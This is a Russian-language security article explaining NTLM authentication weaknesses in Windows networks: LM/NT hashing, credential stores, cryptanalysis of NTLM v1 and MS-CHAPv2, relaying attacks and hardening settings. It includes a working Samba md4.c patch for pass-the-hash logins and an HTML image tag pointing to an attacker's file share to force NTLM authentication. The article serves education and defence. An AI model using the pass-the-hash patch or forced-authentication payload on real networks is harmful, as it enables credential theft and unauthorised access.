NTLM и корпоративные сети

Призы для победителей конкурса предоставил компьютерный интернет магазин
Автор: ЗАРАЗА

Введение

Когда, полтора десятка лет назад, компания Microsoft начала серьезную работу над созданием централизованных сетей масштабов предприятия при работе над операционной системой Windows NT, перед разработчиками была поставлена весьма сложная, и новая по тем временам задача – реализовать технологии single sign-on, и One user – one password.

One user – one password (один пользователь – один пароль) означает, что у пользователя должен быть только один пароль. Единый пароль используется для доступа ко всем ресурсам и протоколам сети. Single sign-on (единый вход) подразумевает, что этот пароль указывается всего один раз – при входе пользователя в сеть.

Можно много спорить о преимуществах и недостатках такого подхода, но бесспорно одно – этот подход удобен как для пользователей, так и для разработчиков приложений. Пользователь избавлен от необходимости помнить много паролей и вводить их, а разработчику не надо задумываться над тем, как организовать аутентификацию пользователя.

Для этого необходимо было разработать такую схему аутентификации, которая позволила бы любому сетевому приложению передавать данные аутентификации независимо от сетевого протокола. Так родился NTLM и NTLMSSP (NTLM Security Service Provider) – подсистема позволяющая любому клиент-серверному приложению использовать NTLM ничего не зная о его внутренней структуре.

Нельзя сказать, чтобы Microsoft проигнорировал требования безопасности для протокола аутентификации. В общем-то, на тот момент протокол NTLM не был слабее многих уже использовавшихся протоколов, и в чем-то даже лучше. Но сейчас можно с уверенностью сказать, что вместе с протоколом NTLM появилось большое количество проблем связанных с его безопасностью. Часть проблем вызвана тем, что Microsoft должен был сохранить совместимость с существующими сетями LanManager для MS-DOS и Windows for Workgroups. Другие являются ошибками дизайна и объясняются новизной решаемой проблемы. Третьи являются исключительно криптографическими, т.к. тогда производители ПО редко имели в штате профессиональных криптоаналитиков.

Проблемы протокола NTLM широко дискутировались начиная с 1995 года и обсуждаются до сих пор. Существует ошибочное мнение, что протокол аутентификации Kerberos v5, используемый в сетях Windows 2000 и Windows 2003, полностью снимает проблему NTLM. Это не так, т.к. поддержка NTLM в существующих сетях Windows является обязательной и любая из сторон, принимающих участие в процессе аутентификации, может инициировать использование этого протокола. По этой причине многие проблемы протокола NTLM остаются актуальными в современных сетях Windows и должны учитываться не только в процессе администрирования сети, но и на этапе ее проектирования.

Я попытался собрать в одном месте информацию, мысли, идеи и проблемы, родившиеся в результате почти десятилетней дискуссии в открытых списках рассылки, а так же личной переписки со многими людьми, которым мне хотелось бы выразить признательность за их помощь, ответы на вопросы и терпение – Urity (urity at securityfriday.com), Jesper Johansson (jesperjo at microsoft.com), Solar Designer (solar at openwall.com), offtopic (offtopic at mail.ru) Glenn Zorn (gzorn at cisco.com) и многим другим. Так же использовались материалы из постингов Todd Sabin, Luke Kenneth Casson Leighton и Salman Niksefat. Из-за природной лени и отсутствия точных названий и постоянных URL для большинства использованных постингов я не буду делать список литературы в конце статей, пусть это сделает Google.

Мы не будем углубляться в технические детали более, чем это необходимо для понимания проблемы, тем не менее, иногда от читателя потребуются некоторые минимальные представления о процессах аутентификации и авторизации, программировании и криптографии. Чтобы облегчить жизнь читателю, в статье будут встречаться вставки «общеобразовательного» характера.

Процесс аутентификации клиент-серверных приложений в сетях Microsoft

Что происходит после нажатия на Ctrl+Alt+Del? Появляется запрос локальной подсистемы безопасности (Local Security Authority, LSA) на ввод имени пользователя и пароля. После ввода пароль хэшируется (криптографический хэш – одностороннее преобразование делающее невозможным, или по крайней мере сложным восстановление по нему оригинального пароля) и хэш помещается в хранилище LSA. В открытом виде он больше уже нигде не фигурирует (в старых версиях Windows пароль мог храниться в открытом виде или с обратимым шифрованием, т.к. старые версии LanManager использовали аутентификацию в открытом тексте, но не будем вспоминать эти времена). Кроме того, к хранилищу LSA нельзя обратиться напрямую стандартными методами. В хранилище хэши находятся до окончания сеанса работы (а иногда и после, это будет рассмотрено далее).

Протокол NTLM относится к семейству challenge-response (запрос-ответ) протоколов. Это означает, что ни пароль ни его хэш никогда не передаются «как есть», вместо этого они используются для генерации ответа (response) на случайный запрос (challenge). Аутентифицирующая сторона сравнивает полученный ответ с вычисленным локально. Генерация и проверка запроса и ответа осуществляется не приложениями, а провайдером NTLMSSP. Данные аутентификации, генерируемые NTLMSSP через специальные функции API (InitializeSecurityContext()/AcceptSecurityContext()) могут быть включены в любой протокол прикладного уровня, упаковка этих данных (называемых security blob – «начинка безопасности») это все, что требуется от приложений с точки зрения NTLMSSP. После успешной проверки подсистема безопасности генерирует токен, который может быть использован серверным приложением с правами локальной системы для имперсонирования пользователя, т.е. при подключении пользователя к серверному приложению серверное приложение может работать от его имени. В таком случае пользователь совершает вход на удаленную систему. Возникает вопрос – а может ли серверное приложение обратиться к другим сетевым ресурсам с использованием NTLM, не запрашивая дополнительной аутентификации? Если в хранилище LSA удаленного компьютера нет хэшей пароля пользователя – то это невозможно. Отсюда, например, невозможность «прозрачного» доступа к сетевому диску из telnet-сеанса или через Web-сервер если доступ через telnet или к Web происходит с NTLM аутентификацией.

Теоретически все получается замечательно и абсолютно безопасно. Даже запустив приложение с правами пользователя, все равно не возможно получить его пароль или даже хэш. И даже перехватив сеанс и подменив сервер, не получится получить доступ к другим сетевым ресурсам.

Давайте посмотрим на все это с точки зрения реализации.

Хэши NTLM

В семействе протоколов NTLM (как мы увидим далее, NTLM-подобных протоколов несколько) могут использоваться 2 типа хэшей: LM (LanManager) хэш, унаследованный от предыдущих реализаций LanManager и NT (New Technology) хэш, созданный для протокола NTLM. Соответственно, при входе пользователя в систему, как правило, от пароля берутся и хранятся оба этих хэша. Первая версия протокола NTLM для совместимости поддерживала оба ключа (NT или LM ключем обычно называют соответствующий хэш пароля). В более поздних реализациях используется только NT ключ, однако по-умолчанию LM хэш все равно создается при входе и помещается в хранилище LSA. Давайте рассмотрим оба алгоритма хэширования.

LM ключ получается из пароля в 8-битной OEM кодировке (cp866 для России) с помощью алгоритма DES.

Для справки: DES является симметричным блочным шифром, использующим 56 битный ключ для шифрования 64 битного блока текста. Реально, внутри алгоритма используется 64 битный ключ, однако длина ключа искусственно занижена по непонятным соображениям – 56 битный ключ «растягивается» за счет вставки дополнительного бита через каждые 7 бит ключа. Поскольку DES обладает относительной стойкостью к атакам известного открытого текста, он может быть использован в качестве криптографической хэш функции, если в качестве открытого текста использовании какой-либо известный текст, а в качестве ключа – хэшируемое слово. Известный текст может быть либо случайным (в таком случае он называется salt – соль, и хранится в месте с паролем), либо предопределенным, в таком случае он называется Magic Word – заклинание. В классической реализации crypt() в Unix использовался первый подход, в Windows используется магическое слово KGS!@#$% (посмотрите на клавиатуру…. Наверное, это был чей-то пароль). При использовании в качестве хэш функции DES генерирует 64 битный хэш по 56 битному тексту.

Поскольку DES позволяет получить хэш лишь от 7-символьного блока, то реально используется пароль из 14 символов (более короткий пароль дополняется нулями), который разбивается на два блока по 7 символов, от каждого из которых независимо вычисляется хэш. В итоге получается 128-битный хэш «склееный» из двух частей.

Недостатки алгоритма очевидны. Независимое вычисление двух блоков позволяет и их независимый взлом, т.е. реально каждый 64 бита хэша можно атаковать с целью восстановления пароля. Причем для генерации LM ключа пароль не чувствителен к регистру символов и символы всегда используются в верхнем реестре. Это делает очень эффективной атаку на восстановление пароля методом последовательного перебора (не более 7 символов из очень ограниченного алфавита). Причем длинный пароль может быть легче восстановить чем более короткий. Например, для пароля из 12 символов, сначала за считанные секунды подбираются последние 5 символов, после чего делается предположение о структуре пароля и первые 7 символов пароля подбираются по более ограниченному алфавиту. В настоящее время известны очень быстрые реализации DES с использованием 64-битной арифметики, что делает его абсолютно непригодным для криптографии. В общем случае, восстановление пароля по LM хэшу на современной технике вопрос не более чем нескольких дней. Кроме того, фиксированное магическое слово позволяет использование таблицы заранее посчитанных значений ключей, что делает возможным восстановление пароля по LM хэшу в реальном времени.

NT ключ вычисляется с помощью стандартного алгоритма хэширования MD4. Хэш MD4 берется от пароля записанного в 16-битной кодировке Unicode с последовательностью байт low endian (т.е. первым байтом идет номер символа в странице). Пароль вычисляется с учетом регистра. MD4 имеет несколько криптографических проблем, самой большой из них является маленькое время вычисления хэша, что позволяет перебирать достаточно большое количество комбинаций в единицу времени упрощая, например, атаку по словарю или подбор слабой комбинации символов.

Подсказка: существует большое количество программ для восстановления пароля из NT или LM ключа путем подбора по словарю или перебора – John-the-Ripper, LophtCrack, Cain & Abel. При наличии обоих ключей, обычно сначала восстанавливается пароль в верхнем регистре из LM-ключа, затем по NT-ключу восстанавливается регистр пароля. Такой подход, в частности, реализован в Cain & Abel (http://www.oxid.it), являющейся на сегодня наиболее мощным и универсальным инструментом для выполнения различных задач связанных с обнаружением слабых конфигураций, в т.ч. и многих проблем NTLM. Мы еще неоднократно будем возвращаться к возможностям этой утилиты. Самая быстрая реализация алгоритма DES ориентированная на взлом LM-ключей в Solar Designer’овском John-the-Ripper.

Совет: Можно запретить генерацию LM-ключей в системе путем установки в 1 значения NoLmHash в разделе реестра HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa

Несмотря на то, что будет описано ниже, сделать это настоятельно рекомендуется, хотя бы для очистки совести.

Кому нужен сломанный ключ?

Как мы уже говорили, NT и LM ключи (хэши) генерируются из пароля при входе пользователя в систему, после чего пароль нигде не хранится и никогда не используется. Возникает закономерный вопрос: если у нас есть на руках NT и LM хэши можем ли мы использовать их, например, для аутентификации по сети без восстановления пароля в открытом тексте? Очевидно, да. Начнем с простого случая открытых кодов. Попробуем модифицировать smbclient из состава SAMBA таким образом, чтобы подключаться к удаленному файловому серверу с исопльзованием NT хэша (как мы знаем, из NT хэша восстановить пароль гораздо сложнее). Было бы достаточно сложно перелопатить полтора десятка мегабайт исходников SAMBA, если бы мы не знали точно, что NT ключ это MD4 хэш. Нам будет достаточно только модифицировать библиотеку md4.c таким образом, чтобы не хэшировать что-то, что уже похоже на хэш. Например то, что состоит из 32х 16-ричных символов (как мы помним, ключ 128-битный, а пароль приходит в кодировке Unicode, т.е. каждый входящий символ занимает 2 байта, получается 64 байта на входе и 16 на выходе).

--- md4.c.orig 2004-04-04 11:37:00.000000000 +0400

+++ md4.c 2004-10-27 23:01:31.000000000 +0400

@@ -130,6 +130,21 @@

C = 0x98badcfe;

D = 0x10325476;

+

+ if(n == 64){

+ int j;

+ unsigned char * hexd = (unsigned char *)"0123456789ABCDEF";

+ for(j = 0; j<16; j++){

+ if(!strchr(hexd, in[(j<<2)]))break;

+ if(in[(j<<2)+1])break;

+ if(!strchr(hexd, in[(j<<2)+2]))break;

+ if(in[(j<<2)+3])break;

+ out[j] = ((strchr(hexd, in[(j<<2)]) - (char *)hexd)<<4);

+ out[j] ^= (strchr(hexd, in[(j<<2)+2]) - (char *)hexd);

+ }

+ if(j == 16) return;

+ }

+

while (n > 64) {

copy64(M, in);

mdfour64(M);

Проверим:

bash$ smbclient //WIN2KSRV/shared

added interface ip=192.168.1.1 bcast=192.168.1.255 nmask=255.255.255.0

Got a positive name query response from 192.168.1.2 ( 192.168.1.2 )

Password: (entering 8846F7EAEE8FB117AD06BDD830B7586C)

Domain=[WIN2KDOMAIN] OS=[Windows 5.0] Server=[Windows 2000 LAN Manager]

smb: \>

Получилось.

Наверное, у самых вредных возникает вопрос, можно ли проделать подобный трюк используя сам Windows в качестве клиента? Можно попробовать найти реализацию MD4 используемую для получения хэша при входе пользователя и подменить ее (модификацией двоичного кода или за счет подмены функции одним из многочисленных способов). Быстрый поиск по системным файлам показывает, что в папке SYSTEM32 около 85 реализаций MD4 (видимо программистам платят по объему двоичного кода), есть и особо подозрительные, например в samlib.dll. Делались и попытки поменять ключи непосредственно в памяти или хранилище, например в статье Hernan Ochoa “Modifying Windows NT Logon Credentials”… Но, собственно, статья наша теоретическая и одного эксперимента для подтверждения теории вполне хватает. Урок, который должен быть извлечен – хэш пароля с точки зрения протокола NTLM абсолютно равнозначен самому паролю, возможность получения хэша означает возможность полного использования пароля.

Где что хранится

Не следует путать хранилище LSA с защищенным хранилищем (Protected Storage) и бaзой данных SAM (Security Account Manager database).

В Protected Storage могут храниться любые данные, помещенные туда приложением (имена и пароли удаленного доступа, электронной почты, аутентификации сайтов и данные для автозаполнения форм). Они могут быть извлечены оттуда в том же виде, в котором были туда положены по запросу приложения через стандартный API. Хэшей паролей пользователя там нет.

В базе данных SAM хранятся локальные учетные записи пользователей (на контроллере домена – доменные), включая пароли в виде NT и LM хэшей, что уже несколько интересней. Локальная база данных SAM является кустом системного реестра (т.е. частью реестра хранящейся в отдельном файле). Ранее, если на машине не использовалась утилита syskey, можно было извлечь хэши локальных паролей учетных записей непосредственно из файла или из реестра. Для извлечения хэшей из файла можно было использовать утилиту samdump Дмитрия Андрианова, для извлечения из реестра – pwdump (Jeremy Allison). Однако, утилита syskey шифрует хранящиеся хэши с помощью системного ключа используя алгоритм RC4. Ключ может храниться на дискете, которую необходимо вставлять при загрузке машины, либо на диске – закрытый паролем (его необходимо вводить при каждой загрузке машины) или в некой обратимой форме. Управлять хранением системного ключа можно с помощью утилиты syskey. Начиная с Windows 2000 syskey c хранением ключа в обратимой форме включен по-умолчанию, что затрудняет извлечение хэшей из SAM стандартным способом. То, что будет извлечено, на самом деле не является хэшем пароля. Pwdump2 (Todd Sabin) обходит защиту syskey считывая хэши паролей через внутренний API в контексте процесса winlogon используя технику DLL injection. Pwdump3 (Phil Staubs) использует ту же саму технику в сочетании с Service API для того, чтобы запустить процесс на удаленном компьютере. Для работы всех программ требуется либо физический доступ к компьютеру либо повышенные привилегии (для pwdump2 и pwdump3 – SeDebugPrivilege).

Похожие приемы использовались и для доступа к хранилищу LSA. Lsadump (PaulAshton) использовала недокументированный API LsaRetrievePrivateData() для получения данных из хранилища LSA и могла работать только из-под учетной записи локальной системы. В более поздних системах Microsoft сделал использование этой функции совсем невозможным. Lsadump2 (Todd Sabin) использует ту же технику DLL injection, что и pwdump2 для доступа к секретам LSA через внутренний API lsass и так же требует SeDebugPrivilege.

Наверное, следует так же упомянуть о cached logon credentials (кэшированных удостоверениях). По-умолчанию Windows хранит данные о последних 10 набранных именах пользователей и паролей. Основная цель – дать возможность доменному пользователю войти на компьютер даже в случае отсутствия связи с контроллером домена. Поскольку нет необходимости хранить непосредственно хэш пароля (он будет вычислен при входе пользователя в систему), хранится некое производное значение (MD4 от имени пользователя и NT-хэша). Т.е. восстановить хэш пароля сложно, но можно попытаться атаковать слабые пароли пользователя. CachedLogonCredentials так же хранятся либо в хранилище LSA либо в разделе реестра NL$. К сожалению единственное известное средство автоматического доступа к кэшированным паролем, hashpipe (Todd Sabin) на сегодня не является общедоступным.

Указанные инструменты больше не поддерживаются разработчиками. Они, и другие тестировавшие утилиты, включая Cain & Abel, так же не дают надежного результата в Windows XP SP2, т.к. Microsoft изменил алгоритм работы winlogon и lsass, однако, для Cain & Abel это, скорее всего, лишь вопрос времени.

Совет: управлять Cached Logon Credentials можно с помощью доменных политик либо при помощи ключа реестра CachedLogonCount в разделе HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon

Очень неприятно, если, например, в кэшированных удостоверениях останутся сведения о входе на компьютер администратора домена (это одна из причин управлять компьютером удаленно). Часто можно встретить рекомендацию устанавливать CachedLogonCount в 0, однако наиболее оптимальным представляется значение 1 – это позволяет в отсутствии сетевого подключения войти в систему последнему пользователю – т.е. тому, который обычно работает с компьютером .

Собственно NTLM

На сегодняшний момент существует две основных версии NTLM. Первая версия NT LanManager 0.12, часто называемая NTLM v1 и NTLM v2. Кроме того, существует несколько основанных на NTLM диалектов, например протокол аутентификации MS-CHAPv2 (MS-CHAP является NTLM 0.12 в чистом виде). Мы подробней остановимся на NTLM 0.12, т.к. нас будут интересовать его, так часто обсуждаемые, криптографические уязвимости.

Итак, NTLMSSP генерирует «кусочки» данных безопасности (security blob) которыми обмениваются клиентское и серверное приложение. Обмен происходит в несколько этапов, и для NTLM 0.12 выглядит следующим образом:

1. Клиент посылает серверу запрос на аутентификацию.
2. Сервер отвечает пакетом, в котором указывается выбранная NTLM аутентификация и поле EncryptionKey которого содержит 64-битный случайный запрос (challenge).
3. Клиент посылает сообщение, содержащее поля AccountName (учетная запись), PrimaryDomain (домен учетной записи), CaseInsensitivePassword (пароль не чувствительный к регистру, фактически это LM-ответ) и CaseSensitivePassword (пароль чувствительный к реестру, фактически NT-ответ). Оба ответа являются 192-битными и вычисляются на основе NT и LM ключа по одному и тому же алгоритму. Если соответствующего ключа нет, то и соответствующий ответ будет нулевым.

Давайте проиллюстрируем алгоритм генерации ответа на примере NT-ключа 8846F7EAEE8FB117AD06BDD830B7586C (как мы помним, он 128-битный) с 64-битным запросом сервера 0123456789ABCDEF.

NT-ответ DD5428B01E86F4DFCABEAC394946DBD43EE88F794DD63255.

Сразу должно бросаться в глаза, что не так с этим алгоритмом – проблема та же, что и при вычислении LM-хэша, все три DES-блока вычисляются независимо. Это означает, что и восстанавливаться по известному запросу и ответу они так же могут независимо. Для современного PC время восстановление одного блока хэша пароля методом полного перебора составляет порядка нескольких недель и не зависит от сложности пароля.

В случае, если имеется LM-ответ – опять же возможна атака на восстановление второй половины пароля в открытом тексте, после чего первая часть даже полным перебором восстанавливается за несколько дней.

Из этого, в сочетании с тем, что имея хэш мы не нуждаемся в пароле в открытом тексте, следует однозначный вывод – NTLM 0.12 и MS-CHAP не должны использоваться для аутентификации в сетях, где возможен перехват трафика. Кроме того, если у внешнего недоверенного сервера есть возможно инициировать «прозрачный» вход пользователя, то он может использовать переданный ответ для восстановления ключа пользователя. Причем, за счет выбора «хорошего» запроса (например одни нули) взлом ключа может быть организован в реальном времени по заранее просчитанным таблицам.

Протокол аутентификации удаленного доступа MS-CHAPv2 является всего лишь расширением протокола MS-CHAP и, соответственно, NTLM 0.12. Изменения состоят в следующем: клиент так же генерирует случайный запрос для сервера, на который сервер должен ответить, т.е. аутентификация клиента и сервера является взаимной. Кроме того, запрос сервера попадает в алгоритм генерации ответа в измененном виде (сам алгоритм остается прежним) – берется SHA1 от запроса сервера, запроса клиента и имени пользователя. Это не влияет на сложность атаки на восстановление хэша т.к. SHA1 достаточно вычислить лишь один раз, а далее используется тот же алгоритм перебора. Единственным положительным моментом с точки зрения криптографии, является то, что в случае подмены сервера нельзя использовать заранее просчитанные таблицы для восстановления хэша путем выбора заранее известного запроса.

Из этого следует, что MS-CHAPv2, который часто используется для аутентификации, например, PPTP соединений, так же ни в коем случае не должен использоваться для аутентификации по недоверенным каналам связи. На сегодня, единственный более-менее стойкий протокол парольной аутентификации удаленного доступа это PEAP (Password EAP), который, к сожалению, слабо поддерживается, что делает практически невозможным использовать, например, PPTP туннели с шифрованием MPPE, даже с ключем шифрования большой длины, для построения VPN сетей, т.к. ключи шифрования MPPE генерируются на основе NT-ключа. Возможность восстановления NT ключа по данным аутентификации дает, к тому же, возможность восстановить передаваемые данные за весьма короткий срок вне зависимости от длины сеансового ключа.

В NTLMv2 так же используется взаимная аутентификация клиента и сервера, но для получения ответа используется гораздо более сильный алгоритм HMAC-MD5.

Для справки: HMAC-MD5 генерирует хэш на основе текста (text) и ключа (key) с использованием стандартного хэша MD5 по следующему алгоритму:

HMAC_MD5(text,key) = MD5 (key xor opad . MD5(key XOR ipad.text))

Где ‘.’ Означает конкатенацию, ipad = 0x36363636363636363636363636363636, ipad = 0x5C5C5C5C5C5C5C5C5C5C5C5C5C5C5C5C

Ответ вычисляется следующим образом:

1. Клиент генерирует ключ (NT2 ключ) используя HMAC_MD5 с NT-ключем в качестве ключа и именем пользователя конкатенированным с именем домена в Unicode в качестве текста.
2. Клиент генерирует кусок данных (blob), в который входят случайные данные, временная метка, NetBIOS имя и т.д, всего порядка 64 байт, длина может варьироваться.
3. blob конкатенируется с ответом сервера
4. Вычисляется HMAC-MD5 c NT2 ключем полученном на первом шаге в качестве ключа и blob в качестве текста.
5. результат (4) конкатенируется с blob (2). То, что получилось и есть ответ.

Такой алгоритм генерации ответа при использовании стойких паролей снимает практически все криптографические проблемы, что делает NTLMv2 вполне устойчивым к атакам пассивного прослушивания, тем не менее, разумеется, остается возможность подбора слабых паролей по словарю или полным перебором.

Подсказка: В Cain & Abel реализованы практически все рассмотренные атаки. Кроме того, встроенный снифер с возможностью arp poisoning позволяет перехватывать данные NTLM аутентификации даже в коммутируемых сетях и автоматически передавать все необходимые данные в подсистему криптографиеского анализа для различного типа криптографических атак.

Совет: Можно управлять разрешенными протоколами аутентификации и запретить протоколы аутентификации отличные от NTLMv2 с помощью реестра или доменных политик. За это отвечает ключ реестра LMCompatibilityLevel в разделе HKLM\System\CurrentControlSet\Control\LSA. Возможные значения слудющие:

0. Посылать NT и LM ответы
1. безопасность сеанса NTLM (не затрагивает аутентификацию)
2. NTLM аутентификация. LM ответ не генерируется клиентом. На сервер не влияет.
3. NTLMv2 аутентификация, клиент не использует NTLM 0.12
4. NTLM требуется, сервер не принимает LM ответ
5. NTLMv2 требуется, сервер не принимает NTLM 0.12 аутентификацию.

Как следует из названия, установка высокого LMCompatibilityLevel может повлиять на клиентов со старыми ОС.

Атаки NTLM-релеинга

Протокол NTLM был специально разработан для того, чтобы обеспечить прозрачный доступ пользователей к ресурсам без лишних вопросов и при этом не зависеть от прикладных и сетевых протоколов. Клиентское приложение, поддерживающее NTLM, просто передает генерируемые подсистемой безопасности данные аутентификации (блобы) серверному приложению. При этом нет никакой привязки данных аутентификации к сетевому протоколу, т.е. таким параметрам, как, например, IP адрес и порт. Это позволяет NTLM-аутентификации проходить через прокси сервер или маршрутизатор с трансляцией адресов, но это, также, позволяет и атаки NTLM релеинга, когда атакующий, не имеющий прямого доступа к сетевым данным между клиентом и сервером может, однако, перехватывать все передаваемые данные. Единственное необходимое для этого условия (кроме связи с клиентом и сервером на сетевом уровне, разумеется) это возможность инициировать подключение клиента по протоколу поддерживающему прозрачную NTLM-аутентификацию. Таким образом не имея непосредственного доступа к каналу связи, можно организовать ситуацию человека-по-средине (man-in-the-middle).

Итак: атакующий провоцирует клиента на подключение к себе по протоколу, позволяющему NTLM аутентификацию. После чего атакующий подключается к серверу так же по любому протоколу позволяющему NTLM аутентификацию. Это не обязательно должен быть тот же протокол, который использует клиент, т.к. данные аутентификации никак не привязаны к прикладному протоколу и сетевым параметрам. Например, клиент может подключиться к атакующему с использованием файлового протокола CIFS (SMB), а атакующий к серверу – по протоколу telnet. После чего данные аутентификации (блобы) передаются атакующим между клиентом и сервером. По окончании аутентификации клиент считает, что он успешно авторизован сервером, сервер считает, что он авторизовал клиента, а атакующий имеет два авторизованных канала – он выступает от имени сервера для клиента и от имени клиента для сервера.

Спасает ли, хотя бы в какой-то степени, использование NTLMv2 от атак NTLM-релеинга? К сожалению, нет. Поскольку атакующий не применяет криптоанализ, то криптостойкость алгоритма влияния не оказывает. Не оказывает влияния и наличие взаимной аутентификации клиента и сервера. Атакующий пробрасывает все данные аутентификации между ними, поэтому лишний пакет – ответ сервера на запрос клиента – туда так же попадает.

Для некоторых протоколов Microsoft советуют применять подпись пакетов, например, SMB signing для CIFS/SMB. К сожалению, подпись SMB спасает лишь в единственной ситуации – она затрудняет подключение к серверу CIFS требующему подпись. Это делает невозможным использование межпротокольного релеинга NTLM для подключения к серверу CIFS. В случае релеинга от CIFS клиента к CIFS серверу у атакующего остается доступ ко всем проходящим данным. Клиент и сервер подписывают данные, но опять эта подпись не привязана к сетевому протоколу, атакующий просто пересылает данные в неизменном виде. Это не дает атакующему возможность вмешаться в передаваемые данные (например, запросить свой файл непосредственно у сервера), однако, если атакующий получил возможность управлять поведением клиента – он может заставить клиента запросить требуемый файл.

На текущий момент существует много способов управлять поведением клиентского приложения. Например, направив пользователя на HTML страницу, содержащую так <IMG SRC=”\\A.B.C.D\SECRETSHARE\largesecret.doc”>, где A.B.C.D – адрес атакующего, можно заставить клиента подключиться к сетевой папке SECRETSHARE атакующего по протоколу CIFS и запросить файл largesecret.doc. Атакующий может перенаправить этот запрос на сервер от имени клиента. При этом все запросы будут подписаны клиентам в случае использования SMB signing.

Атаки NTLM релеинга обсуждались разными авторами. DilDog в 2000м году, в связи с проблемой NTLM авторизации в telnet (Internet Explorer к тому времени уже имел опцию не выполнять прозрачную NTLM-авторизацию в Internet-зоне). 3APA3A в 2001 в связи с SPA авторизацией Outlook Express. Salman Niksefat и Haamed Gheibi в 2003м продемонстрировали практическую реализацию NTLM релеинга из CIFS в CIFS для случая, когда клиент и сервер это одна и та же машина.

Как защищаться от атак NTLM

Основное средство от различных атак перехвата – это, разумеется, шифрование трафика между хостами. Можно найти достаточное количество руководств по внедрению шифрования трафика с помощью политик безопасности IP.

Чтобы предотвратить атаки NTLM релеинга с помощью протокола CIFS, следует ограничить использование этого протокола. Во-первых подключения по протоколам NetBIOS (TCP/139) и CIFS over TCP (TCP/445) не должны пропускаться не только из внешней сети во внутрь, но и из внутренней сети наружу. По многим причинам, включая и эту, доступ к ресурсам Internet для пользователей следует организовывать не при помощи трансляции адресов, а с помощью прокси-сервера. Атака NTLM релеинга с помощью CIFS может быть использована и во внутренней сети, с целью повышения привилегий. Чтобы этого недопустить, следует ограничить связь на сетевом уровне между клиентскими компьютерами. В идеальном случае у клиентов должна быть связь только с теми серверами, к которым они должны подключаться. В сетях Windows 2000/XP/2003 такая структура сети легко реализуется за счет применения доменных политик безопасности IP.

Для этого создается правило, позволяющее блокировать пакеты:

Создается описание серверной сети

Создается политика разрешающая серверный трафик и запрещающая весь остальной:

Теперь данное правило можно применить к локальному компьютеру либо ко всем клиентским компьютерам с помощью политик Active Directory.

Устранив возможности NTLM атак в CIFS, мы не устраним атаки полностью. Существует большое количество протоколов поддерживающих NTLM аутентификацию, а развитие различных сервисов, в т.ч. и RPC, поверх HTML делает фильтрацию NTLM-аутентификации наружу еще более затруднительной.

Подсказка: в качестве решения можно посоветовать не позволять доступ к сервисам, доступным снаружи с учетными записями используемыми во внутренней сети. Для внешних ресурсов лучше использовать авторизацию на основе сертификатов, во внутренней сети – двухфакторную авторизацию.

Заключение

Я надеюсь, что статья поможет вам учесть особенности протокола NTLM при построении архитектуры и схемы защиты вашей сети или просто понять, что он из себя представляет. C удовольствием приму любые поправки, дополнения и просто комментарии на адрес 3APA3A@security.nnov.ru.